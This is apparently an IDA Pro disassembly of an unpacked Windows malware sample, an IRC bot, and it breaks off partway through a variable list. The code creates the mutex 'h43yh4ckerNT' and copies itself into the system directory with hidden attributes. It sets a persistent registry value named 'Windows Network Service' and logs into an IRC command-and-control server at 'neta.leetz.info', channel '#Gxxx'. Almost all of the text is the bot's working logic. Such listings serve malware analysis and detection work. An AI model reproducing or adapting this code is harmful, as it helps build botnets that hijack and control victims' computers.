;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 106330FBC51F95A894CD16453A2A8218
; File Name : u:\work\106330fbc51f95a894cd16453a2a8218_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 000E1000 ( 921600.)
; Section size in file : 000E1000 ( 921600.)
; Offset to raw data for section: 00001000
; Flags E0000020: Text Executable Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_packed segment para public 'CODE' use32
assume cs:_packed
;org 401000h
assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: sub_401071+4p
; sub_401252+349p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
loc_401006: ; DATA XREF: .RLPack:004FE472o
push edi
xor edi, edi
xor esi, esi
mov ebx, offset aWindowsNetwork ; "Windows Network Service"
loc_401010: ; CODE XREF: sub_401000+6Aj
lea eax, [ebp+var_4]
push edi
push eax
push edi
push 0F003Fh
push edi
push edi
push edi
push off_42A058[esi]
push dword_42A054[esi]
call dword_4CDC18 ; RegCreateKeyExA
cmp [ebp+arg_0], edi
jz short loc_401051
push [ebp+arg_0]
call sub_41B7B0
pop ecx
push eax
push [ebp+arg_0]
push 1
push edi
push ebx
push [ebp+var_4]
call dword_4CDC88 ; RegSetValueExA
jmp short loc_40105B
; ---------------------------------------------------------------------------
loc_401051: ; CODE XREF: sub_401000+33j
push ebx
push [ebp+var_4]
call dword_4CDBC8 ; RegDeleteValueA
loc_40105B: ; CODE XREF: sub_401000+4Fj
push [ebp+var_4]
call dword_4CDC40 ; RegCloseKey
add esi, 8
cmp esi, 18h
jb short loc_401010
pop edi
loc_40106D: ; DATA XREF: .RLPack:loc_4FFF5Cw
; sub_500288+14r ...
pop esi
pop ebx
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_401071 proc near ; CODE XREF: sub_401071+16j
; DATA XREF: sub_401252+49Bo
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_401000
pop ecx
push dword_42A050
call dword_428064 ; Sleep
jmp short sub_401071
sub_401071 endp
; =============== S U B R O U T I N E =======================================
sub_401089 proc near ; CODE XREF: sub_4010C2+54p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
or esi, 0FFFFFFFFh
test edi, edi
jz short loc_4010BB
mov ecx, 0FFh
push ebx
loc_4010A0: ; CODE XREF: sub_401089+2Fj
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, dword_428240[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_4010A0
pop ebx
loc_4010BB: ; CODE XREF: sub_401089+Fj
mov eax, esi
pop edi
not eax
pop esi
retn
sub_401089 endp
; =============== S U B R O U T I N E =======================================
sub_4010C2 proc near ; CODE XREF: sub_416975+23Fp
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_41BCA5
mov [esp+10h+var_10], offset dword_42A06C
push [esp+10h+arg_0]
mov esi, eax
call sub_41BC92
mov edi, eax
pop ecx
test edi, edi
pop ecx
jnz short loc_40110D
loc_4010E7: ; CODE XREF: sub_4010C2+37j
xor eax, eax
jmp short loc_40112E
; ---------------------------------------------------------------------------
loc_4010EB: ; CODE XREF: sub_4010C2+4Fj
inc ebx
push ebx
push esi
call sub_41B9D2
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4010E7
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_41B8EA
add esp, 10h
loc_40110D: ; CODE XREF: sub_4010C2+23j
test byte ptr [edi+0Ch], 10h
jz short loc_4010EB
dec ebx
push ebx
push esi
call sub_401089
push esi
mov ebx, eax
call sub_41B881
push edi
call sub_41B82B
add esp, 10h
mov eax, ebx
loc_40112E: ; CODE XREF: sub_4010C2+27j
pop edi
pop esi
pop ebx
retn
sub_4010C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401132 proc near ; DATA XREF: sub_401252+14o
var_268 = dword ptr -268h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_440BA4
call dword_4CDCFC ; closesocket
call sub_40B150
call dword_4CDBBC ; WSACleanup
call dword_4CDBBC ; WSACleanup
mov ebx, dword_428064
push 64h
call ebx ; Sleep
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41BD60
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_41BD60
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset byte_43FE14
mov [ebp+var_28], 1
mov [ebp+var_24], di
call dword_428078 ; GetSystemDirectoryA
lea eax, [ebp+var_158]
push esi
push eax
push edi
call dword_428074 ; GetModuleFileNameA
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call dword_428070 ; CreateProcessA
test eax, eax
jz short loc_4011F7
push 64h
call ebx ; Sleep
push [ebp+var_10]
mov esi, dword_42806C
call esi ; CloseHandle
push [ebp+var_C]
call esi ; CloseHandle
loc_4011F7: ; CODE XREF: sub_401132+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_43FE10
mov eax, [esp+268h+var_268]
mov large fs:0, eax
add esp, 8
push edi
call dword_428068 ; ExitProcess
pop edi
pop esi
pop ebx
loc_40121A: ; DATA XREF: .packed:0042A004o
jmp $+5
push 0FFFFh
push 539h
call sub_418E56
pop ecx
mov dword_4CD998, eax
pop ecx
retn
sub_401132 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401236 proc near ; DATA XREF: .packed:0042A008o
jmp $+5
sub_401236 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40123B proc near
push 1000h
push 4B4h
call sub_418E56
pop ecx
mov dword_4CDB04, eax
pop ecx
retn
sub_40123B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401252 proc near ; CODE XREF: .packed:0041E1FCp
var_99C = dword ptr -99Ch
var_98C = byte ptr -98Ch
var_888 = byte ptr -888h
var_887 = byte ptr -887h
var_6F8 = byte ptr -6F8h
var_5F8 = byte ptr -5F8h
var_4F8 = byte ptr -4F8h
var_3F4 = byte ptr -3F4h
var_2F0 = byte ptr -2F0h
var_1EC = byte ptr -1ECh
var_E8 = dword ptr -0E8h
var_DC = dword ptr -0DCh
var_BC = dword ptr -0BCh
var_B8 = word ptr -0B8h
var_A4 = byte ptr -0A4h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 98Ch
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp+var_8], ebx
mov [ebp+var_10], ebx
mov [ebp+var_C], offset sub_401132
push [ebp+var_C]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, dword_4280A8
call esi ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_4CD99C, eax
call esi ; GetTickCount
push eax
call sub_41C0A8
pop ecx
call sub_409A1D
push 2
call dword_4CDD10 ; SetErrorMode
push 7530h
push offset aH43yh4ckernt ; "h43yh4ckerNT"
push ebx
push ebx
call dword_4280A4 ; CreateMutexA
push eax
call dword_4280A0 ; WaitForSingleObject
cmp eax, 102h
jnz short loc_4012D2
push 1
call dword_428068 ; ExitProcess
loc_4012D2: ; CODE XREF: sub_401252+76j
lea eax, [ebp+var_888]
push eax
push 202h
call dword_4CDBD4 ; WSAStartup
cmp eax, ebx
mov [ebp+var_C], eax
jnz loc_401888
cmp [ebp+var_888], 2
jnz loc_401882
xor eax, eax
mov al, [ebp+var_887]
cmp al, 2
jnz loc_401882
mov esi, 104h
lea eax, [ebp+var_3F4]
push esi
push eax
call dword_428078 ; GetSystemDirectoryA
lea eax, [ebp+var_2F0]
push esi
push eax
push ebx
call dword_42809C ; GetModuleHandleA
push eax
call dword_428074 ; GetModuleFileNameA
lea eax, [ebp+var_6F8]
push eax
lea eax, [ebp+var_5F8]
push eax
push ebx
lea eax, [ebp+var_2F0]
push ebx
push eax
call sub_41C1A1
lea eax, [ebp+var_6F8]
push eax
lea eax, [ebp+var_5F8]
push eax
push offset dword_42AB10
lea eax, [ebp+var_4F8]
push esi
push eax
call sub_41C150
lea eax, [ebp+var_3F4]
push eax
lea eax, [ebp+var_2F0]
push eax
call sub_41C0D0
add esp, 30h
test eax, eax
jnz loc_401538
cmp dword_4CDB08, ebx
mov esi, offset byte_42A10C
jz short loc_4013CD
push esi
xor edi, edi
call sub_41B7B0
sub eax, 4
pop ecx
jz short loc_4013CD
loc_4013AA: ; CODE XREF: sub_401252+179j
call sub_41C0B2
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov byte_42A10C[edi], dl
inc edi
call sub_41B7B0
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_4013AA
loc_4013CD: ; CODE XREF: sub_401252+148j
; sub_401252+156j
lea eax, [ebp+var_3F4]
push esi
push eax
lea eax, [ebp+var_1EC]
push offset dword_42AB08
push eax
call sub_41C056
add esp, 10h
lea eax, [ebp+var_1EC]
push eax
call dword_428098 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_40140D
lea eax, [ebp+var_1EC]
push 80h
push eax
call dword_428094 ; SetFileAttributesA
loc_40140D: ; CODE XREF: sub_401252+1A7j
mov esi, dword_428090
xor edi, edi
jmp short loc_401439
; ---------------------------------------------------------------------------
loc_401417: ; CODE XREF: sub_401252:loc_40144Cj
call dword_42808C ; RtlGetLastWin32Error
cmp edi, ebx
jnz short loc_40144E
cmp eax, 20h
jz short loc_40142B
cmp eax, 5
jnz short loc_40144E
loc_40142B: ; CODE XREF: sub_401252+1D2j
xor edi, edi
push 3A98h
inc edi
call dword_428064 ; Sleep
loc_401439: ; CODE XREF: sub_401252+1C3j
lea eax, [ebp+var_1EC]
push ebx
push eax
lea eax, [ebp+var_2F0]
push eax
call esi ; CopyFileA
test eax, eax
loc_40144C: ; DATA XREF: sub_4FE53F+31Br
jz short loc_401417
loc_40144E: ; CODE XREF: sub_401252+1CDj
; sub_401252+1D7j
lea eax, [ebp+var_1EC]
push eax
call sub_41896E
pop ecx
lea eax, [ebp+var_1EC]
push 7
push eax
call dword_428094 ; SetFileAttributesA
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
call sub_41BD60
push 44h
lea eax, [ebp+var_E8]
pop esi
push esi
push ebx
push eax
call sub_41BD60
mov [ebp+var_E8], esi
xor esi, esi
inc esi
add esp, 18h
mov [ebp+var_DC], offset byte_43FE14
mov [ebp+var_BC], esi
mov [ebp+var_B8], bx
call dword_428088 ; GetCurrentProcessId
push eax
push esi
push 100000h
call dword_428084 ; OpenProcess
lea ecx, [ebp+var_2F0]
push ecx
push eax
lea eax, [ebp+var_1EC]
push eax
lea eax, [ebp+var_98C]
push offset dword_42AAFC
push eax
call sub_41C056
add esp, 14h
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_E8]
push eax
lea eax, [ebp+var_3F4]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp+var_98C]
push ebx
push eax
lea eax, [ebp+var_1EC]
push eax
call dword_428070 ; CreateProcessA
test eax, eax
jz short loc_401538
push 0C8h
call dword_428064 ; Sleep
push [ebp+var_24]
mov esi, dword_42806C
call esi ; CloseHandle
push [ebp+var_20]
call esi ; CloseHandle
call dword_4CDBBC ; WSACleanup
push ebx
call dword_428068 ; ExitProcess
loc_401538: ; CODE XREF: sub_401252+137j
; sub_401252+2BCj
cmp dword_4DE048, 2
jle short loc_401584
mov eax, dword_4DE04C
push dword ptr [eax+4]
call sub_41BF49
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
call dword_4280A0 ; WaitForSingleObject
push esi
call dword_42806C ; CloseHandle
mov eax, dword_4DE04C
cmp [eax+8], ebx
jz short loc_401584
push 7D0h
call dword_428064 ; Sleep
mov eax, dword_4DE04C
push dword ptr [eax+8]
call dword_428080 ; DeleteFileA
loc_401584: ; CODE XREF: sub_401252+2EDj
; sub_401252+317j
; DATA XREF: ...
cmp dword_42A08C, ebx
jz short loc_4015A1
cmp dword_4CDD30, ebx
jnz short loc_4015A1
lea eax, [ebp+var_4F8]
push eax
call sub_401000
pop ecx
loc_4015A1: ; CODE XREF: sub_401252+338j
; sub_401252+340j
lea eax, [ebp+var_A4]
push offset dword_42AAE0
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_A4]
push ebx
push eax
loc_4015BB: ; DATA XREF: sub_4FE53F+F0r
call sub_40AF8D
lea eax, [ebp+var_A4]
push eax
call sub_4157A5
push 0B80h
push ebx
push offset dword_43FE18
call sub_41BD60
lea eax, [ebp+var_A4]
push offset unk_42AABC
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_A4]
push 1
push eax
call sub_40AF8D
add esp, 38h
mov edi, eax
mov esi, dword_42807C
lea eax, [ebp+var_8]
push eax
push ebx
push ebx
push offset sub_41A1AF
push ebx
push ebx
call esi ; CreateThread
imul edi, 234h
cmp eax, ebx
mov dword_440BAC[edi], eax
jnz short loc_401641
call dword_42808C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_A4]
push offset unk_42AA7C
push eax
call sub_41C056
add esp, 0Ch
loc_401641: ; CODE XREF: sub_401252+3D2j
lea eax, [ebp+var_A4]
push eax
call sub_4157A5
lea eax, [ebp+var_A4]
mov [esp+99Ch+var_99C], offset dword_42AA50
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_A4]
push 1
push eax
call sub_40AF8D
add esp, 14h
mov edi, eax
lea eax, [ebp+var_8]
push eax
push ebx
push ebx
push offset sub_41AC6A
push ebx
push ebx
call esi ; CreateThread
imul edi, 234h
cmp eax, ebx
mov dword_440BAC[edi], eax
jnz short loc_4016AE
call dword_42808C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_A4]
push offset dword_42AA14
push eax
call sub_41C056
add esp, 0Ch
loc_4016AE: ; CODE XREF: sub_401252+43Fj
lea eax, [ebp+var_A4]
push eax
call sub_4157A5
lea eax, [ebp+var_A4]
mov [esp+99Ch+var_99C], offset dword_42A9EC
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_A4]
push 1
push eax
call sub_40AF8D
add esp, 14h
mov edi, eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4F8]
push ebx
push eax
push offset sub_401071
push ebx
push ebx
call esi ; CreateThread
imul edi, 234h
cmp eax, ebx
mov dword_440BAC[edi], eax
jnz short loc_401721
call dword_42808C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_A4]
push offset dword_42A9B0
push eax
call sub_41C056
add esp, 0Ch
loc_401721: ; CODE XREF: sub_401252+4B2j
lea eax, [ebp+var_A4]
push eax
call sub_4157A5
call sub_41C0B2
push 7Fh
and eax, 3
push offset aNeta_leetz_inf ; "neta.leetz.info"
push offset dword_4CD9A4
mov dword_4CDB18, eax
call sub_41BDC0
mov eax, dword_42A070
push 3Fh
mov edi, offset dword_4CDA24
push offset aGxxx ; "#Gxxx"
push edi
mov dword_4CDAF4, eax
call sub_41BDC0
push 3Fh
mov esi, offset dword_4CDA64
push offset a_gxxx_ ; ".Gxxx."
push esi
call sub_41BDC0
add esp, 28h
mov dword_4CDAF8, ebx
loc_401782: ; CODE XREF: sub_401252+5D6j
; sub_401252+5E1j ...
mov [ebp+var_4], ebx
loc_401785: ; CODE XREF: sub_401252+58Aj
cmp dword_4CDD48, ebx
jnz short loc_4017A3
lea eax, [ebp+var_14]
push ebx
push eax
call dword_4CDBA0 ; InternetGetConnectedState
test eax, eax
jnz short loc_4017A3
push 7530h
jmp short loc_4017CF
; ---------------------------------------------------------------------------
loc_4017A3: ; CODE XREF: sub_401252+539j
; sub_401252+548j
push offset dword_4CD9A0
mov dword_4CDB14, ebx
call sub_401891
cmp eax, 2
mov [ebp+var_C], eax
jz loc_40187D
cmp dword_4CDB14, ebx
jz short loc_4017CA
dec [ebp+var_4]
loc_4017CA: ; CODE XREF: sub_401252+573j
push 0BB8h
loc_4017CF: ; CODE XREF: sub_401252+54Fj
call dword_428064 ; Sleep
inc [ebp+var_4]
cmp [ebp+var_4], 6
jl short loc_401785
cmp [ebp+var_C], 2
jz loc_40187D
cmp [ebp+var_10], ebx
jz short loc_40182D
push 7Fh
push offset aNeta_leetz_inf ; "neta.leetz.info"
push offset dword_4CD9A4
call sub_41BDC0
mov eax, dword_42A070
push 3Fh
push offset aGxxx ; "#Gxxx"
push edi
mov dword_4CDAF4, eax
call sub_41BDC0
push 3Fh
push offset a_gxxx_ ; ".Gxxx."
push esi
call sub_41BDC0
add esp, 24h
mov [ebp+var_10], ebx
jmp loc_401782
; ---------------------------------------------------------------------------
loc_40182D: ; CODE XREF: sub_401252+599j
cmp byte_42A0EC, bl
jz loc_401782
push 7Fh
push offset byte_42A0EC
push offset dword_4CD9A4
call sub_41BDC0
mov eax, dword_42A074
push 3Fh
push offset dword_42A0FC
push edi
mov dword_4CDAF4, eax
call sub_41BDC0
push 3Fh
push offset dword_42A104
push esi
call sub_41BDC0
add esp, 24h
mov [ebp+var_10], 1
jmp loc_401782
; ---------------------------------------------------------------------------
loc_40187D: ; CODE XREF: sub_401252+567j
; sub_401252+590j
call sub_40B150
loc_401882: ; CODE XREF: sub_401252+A4j
; sub_401252+B4j
call dword_4CDBBC ; WSACleanup
loc_401888: ; CODE XREF: sub_401252+97j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
sub_401252 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401891 proc near ; CODE XREF: sub_401252+55Cp
; DATA XREF: sub_401B66+655Bo
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_4018B6: ; CODE XREF: sub_401891+E6j
; sub_401891+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BD60
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call dword_4CDC64 ; ntohs
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
loc_4018E0: ; DATA XREF: .RLPack:004FE864o
call sub_40AA04
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_4019F3
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41BD60
push 0
lea eax, [ebp+var_2C]
push dword_4CDB0C
push dword_42A098
push eax
call sub_40AF23
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_440BB0
push edi
push eax
call sub_41BDC0
add esp, 28h
push 6
push 1
push 2
call dword_4CDCE4 ; socket
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_440BA4[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call dword_4CDC0C ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40197C
push esi
call dword_4CDCFC ; closesocket
call sub_40AA2D
push 7D0h
loc_401971: ; CODE XREF: sub_401891+146j
call dword_428064 ; Sleep
jmp loc_4018B6
; ---------------------------------------------------------------------------
loc_40197C: ; CODE XREF: sub_401891+CDj
lea eax, [ebp+var_18C]
push eax
push offset unk_42AB18
call sub_415819
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_4019F7
add esp, 28h
mov edi, eax
push esi
call dword_4CDCFC ; closesocket
test edi, edi
jz loc_4018B6
cmp edi, 1
jnz short loc_4019D9
push 0DBBA0h
jmp short loc_401971
; ---------------------------------------------------------------------------
loc_4019D9: ; CODE XREF: sub_401891+13Fj
cmp edi, 2
jnz loc_4018B6
push [ebp+var_34]
call sub_40B2A3
pop ecx
push edi
pop eax
loc_4019ED: ; CODE XREF: sub_401891+164j
pop edi
pop esi
leave
retn 4
; ---------------------------------------------------------------------------
loc_4019F3: ; CODE XREF: sub_401891+5Aj
xor eax, eax
jmp short loc_4019ED
sub_401891 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4019F7 proc near ; CODE XREF: sub_401891+123p
var_1990 = byte ptr -1990h
var_990 = byte ptr -990h
var_1C0 = byte ptr -1C0h
var_120 = byte ptr -120h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1990h
call sub_41C2F0
push ebx
xor ebx, ebx
cmp byte_4CDB10, bl
push esi
push edi
mov [ebp+var_8], ebx
mov [ebp+var_120], bl
jz short loc_401A2F
push offset byte_4CDB10
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_40993C
add esp, 0Ch
loc_401A2F: ; CODE XREF: sub_4019F7+21j
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_40AF23
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_41C056
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call dword_4CDCB4 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_401A99
push [ebp+arg_0]
call dword_4CDCFC ; closesocket
push 1388h
call dword_428064 ; Sleep
loc_401A92: ; CODE XREF: sub_4019F7+CCj
; sub_4019F7+146j
xor eax, eax
loc_401A94: ; CODE XREF: sub_4019F7+162j
; sub_4019F7+16Aj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401A99: ; CODE XREF: sub_4019F7+85j
; sub_4019F7+EBj ...
mov esi, 1000h
lea eax, [ebp+var_1990]
push esi
push ebx
push eax
call sub_41BD60
add esp, 0Ch
lea eax, [ebp+var_1990]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4CDC7C ; recv
test eax, eax
jle short loc_401A92
lea eax, [ebp+var_990]
push eax
lea eax, [ebp+var_1990]
push eax
call sub_418665
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_401A99
lea edi, [ebp+var_990]
loc_401AEA: ; CODE XREF: sub_4019F7+158j
xor esi, esi
inc esi
loc_401AED: ; CODE XREF: sub_4019F7+137j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_1C0]
push eax
lea eax, [ebp+var_120]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call sub_401B66
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_401B30
push 7D0h
call dword_428064 ; Sleep
jmp short loc_401AED
; ---------------------------------------------------------------------------
loc_401B30: ; CODE XREF: sub_4019F7+12Aj
cmp esi, 0FFFFFFFDh
jz short loc_401B5E
cmp esi, 0FFFFFFFEh
jz short loc_401B56
cmp esi, 0FFFFFFFFh
jz loc_401A92
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_401AEA
jmp loc_401A99
; ---------------------------------------------------------------------------
loc_401B56: ; CODE XREF: sub_4019F7+141j
xor eax, eax
inc eax
jmp loc_401A94
; ---------------------------------------------------------------------------
loc_401B5E: ; CODE XREF: sub_4019F7+13Cj
push 2
pop eax
jmp loc_401A94
sub_4019F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401B66 proc near ; CODE XREF: sub_4019F7+11Dp
var_5D84 = byte ptr -5D84h
var_5984 = byte ptr -5984h
var_5584 = byte ptr -5584h
var_53F4 = byte ptr -53F4h
var_51F4 = byte ptr -51F4h
var_50F0 = byte ptr -50F0h
var_4FF0 = byte ptr -4FF0h
var_4EEC = byte ptr -4EECh
var_4DEC = byte ptr -4DECh
var_4CEC = byte ptr -4CECh
var_4BEC = byte ptr -4BECh
var_4AEC = byte ptr -4AECh
var_48EC = byte ptr -48ECh
var_47E8 = byte ptr -47E8h
var_46E8 = byte ptr -46E8h
var_45E8 = byte ptr -45E8h
var_4584 = byte ptr -4584h
var_4484 = byte ptr -4484h
var_4284 = byte ptr -4284h
var_4184 = byte ptr -4184h
var_4084 = byte ptr -4084h
var_3F84 = dword ptr -3F84h
var_3F80 = dword ptr -3F80h
var_3F7C = byte ptr -3F7Ch
var_3EFC = byte ptr -3EFCh
var_3E7C = byte ptr -3E7Ch
var_3DFC = byte ptr -3DFCh
var_3D7C = byte ptr -3D7Ch
var_3CFC = dword ptr -3CFCh
var_3CF8 = dword ptr -3CF8h
var_3CF4 = dword ptr -3CF4h
var_3CF0 = dword ptr -3CF0h
var_3CEC = byte ptr -3CECh
var_3C6C = byte ptr -3C6Ch
var_3B68 = byte ptr -3B68h
var_3A64 = dword ptr -3A64h
var_3A60 = dword ptr -3A60h
var_3A5C = dword ptr -3A5Ch
var_3A58 = dword ptr -3A58h
var_3A54 = dword ptr -3A54h
var_3A50 = byte ptr -3A50h
var_37C9 = byte ptr -37C9h
var_37C8 = byte ptr -37C8h
var_36C4 = dword ptr -36C4h
var_36BC = dword ptr -36BCh
var_36B8 = dword ptr -36B8h
var_36B4 = dword ptr -36B4h
var_36B0 = dword ptr -36B0h
var_36A8 = dword ptr -36A8h
var_36A4 = dword ptr -36A4h
var_36A0 = byte ptr -36A0h
var_3620 = byte ptr -3620h
var_35A0 = byte ptr -35A0h
var_3520 = byte ptr -3520h
var_34A0 = dword ptr -34A0h
var_349C = dword ptr -349Ch
var_3498 = dword ptr -3498h
var_3494 = dword ptr -3494h
var_3490 = dword ptr -3490h
var_348C = byte ptr -348Ch
var_340C = byte ptr -340Ch
var_338C = byte ptr -338Ch
var_330C = byte ptr -330Ch
var_328C = dword ptr -328Ch
var_3288 = dword ptr -3288h
var_3284 = dword ptr -3284h
var_3280 = dword ptr -3280h
var_327C = dword ptr -327Ch
var_3278 = byte ptr -3278h
var_31F8 = byte ptr -31F8h
var_3178 = byte ptr -3178h
var_30F8 = byte ptr -30F8h
var_3078 = dword ptr -3078h
var_3074 = dword ptr -3074h
var_3070 = dword ptr -3070h
var_306C = dword ptr -306Ch
var_3068 = dword ptr -3068h
var_3064 = byte ptr -3064h
var_2FE4 = byte ptr -2FE4h
var_2F64 = byte ptr -2F64h
var_2EE4 = byte ptr -2EE4h
var_2E64 = dword ptr -2E64h
var_2E60 = dword ptr -2E60h
var_2E5C = dword ptr -2E5Ch
var_2E58 = dword ptr -2E58h
var_2E54 = dword ptr -2E54h
var_2E50 = byte ptr -2E50h
var_2D4C = byte ptr -2D4Ch
var_2C48 = dword ptr -2C48h
var_2C44 = dword ptr -2C44h
var_2C40 = dword ptr -2C40h
var_2C3C = byte ptr -2C3Ch
var_2BBC = dword ptr -2BBCh
var_2BB8 = dword ptr -2BB8h
var_2BB4 = dword ptr -2BB4h
var_2BB0 = byte ptr -2BB0h
var_2AAC = dword ptr -2AACh
var_2AA4 = byte ptr -2AA4h
var_298C = byte ptr -298Ch
var_290C = dword ptr -290Ch
var_2908 = dword ptr -2908h
var_2904 = dword ptr -2904h
var_2900 = dword ptr -2900h
var_28FC = dword ptr -28FCh
var_28F8 = dword ptr -28F8h
var_28F4 = byte ptr -28F4h
var_2874 = byte ptr -2874h
var_2774 = byte ptr -2774h
var_2674 = dword ptr -2674h
var_2670 = dword ptr -2670h
var_266C = dword ptr -266Ch
